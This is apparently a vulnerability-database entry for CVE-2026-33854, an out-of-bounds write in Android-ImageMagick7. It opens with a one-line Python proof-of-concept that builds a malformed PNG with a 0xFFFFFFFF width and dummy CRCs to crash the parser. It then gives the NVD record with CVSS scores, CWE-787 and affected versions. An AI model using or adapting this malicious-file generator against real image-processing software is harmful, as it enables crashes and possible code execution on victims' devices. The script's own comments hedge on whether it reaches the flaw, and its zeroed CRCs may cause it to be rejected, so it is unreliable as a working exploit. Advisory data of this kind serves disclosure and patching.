CVE-2026-33854

import struct def create_malicious_png(filename): # PNG signature png_sig = b'\x89PNG\r\n\x1a\n' # Construct an IHDR chunk with potentially malicious width/height # or invalid data length that might trigger OOB write in specific parsers chunk_type = b'IHDR' width = struct.pack('>I', 0xFFFFFFFF) # Abnormal width height = struct.pack('>I', 0x00000001) bit_depth = b'\x08' color_type = b'\x06' compress = b'\x00' filter_method = b'\x00' interlace = b'\x00' data = width + height + bit_depth + color_type + compress + filter_method + interlace chunk_len = struct.pack('>I', len(data)) crc = struct.pack('>I', 0x00000000) # Dummy CRC ihdr_chunk = chunk_len + chunk_type + data + crc # IDAT chunk (empty or minimal) idat_type = b'IDAT' idat_data = b'\x00' idat_len = struct.pack('>I', len(idat_data)) idat_crc = struct.pack('>I', 0x00000000) idat_chunk = idat_len + idat_type + idat_data + idat_crc # IEND chunk iend_type = b'IEND' iend_data = b'' iend_len = struct.pack('>I', len(iend_data)) iend_crc = struct.pack('>I', 0xAE426082) iend_chunk = iend_len + iend_type + iend_data + iend_crc with open(filename, 'wb') as f: f.write(png_sig + ihdr_chunk + idat_chunk + iend_chunk) if __name__ == "__main__": create_malicious_png('crash.png') print('Malicious PNG file generated: crash.png')

{"cve": {"id": "CVE-2026-33854", "sourceIdentifier": "[email protected]", "published": "2026-03-24T06:16:22.670", "lastModified": "2026-03-26T19:17:51.180", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out-of-bounds Write vulnerability in MolotovCherry Android-ImageMagick7.This issue affects Android-ImageMagick7: before 7.1.2-10."}, {"lang": "es", "value": "Vulnerabilidad de escritura fuera de límites en MolotovCherry Android-ImageMagick7. Este problema afecta a Android-ImageMagick7: anterior a 7.1.2-10."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:molotovcherry:android-imagemagick7:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.1.2-10", "matchCriteriaId": "B4AB32B2-8459-4A61-A03E-FD0368E6CD9E"}]}]}], "references": [{"url": "https://github.com/MolotovCherry/Android-ImageMagick7/pull/184", "source": "[email protected]", "tags": ["Issue Tracking"]}]}}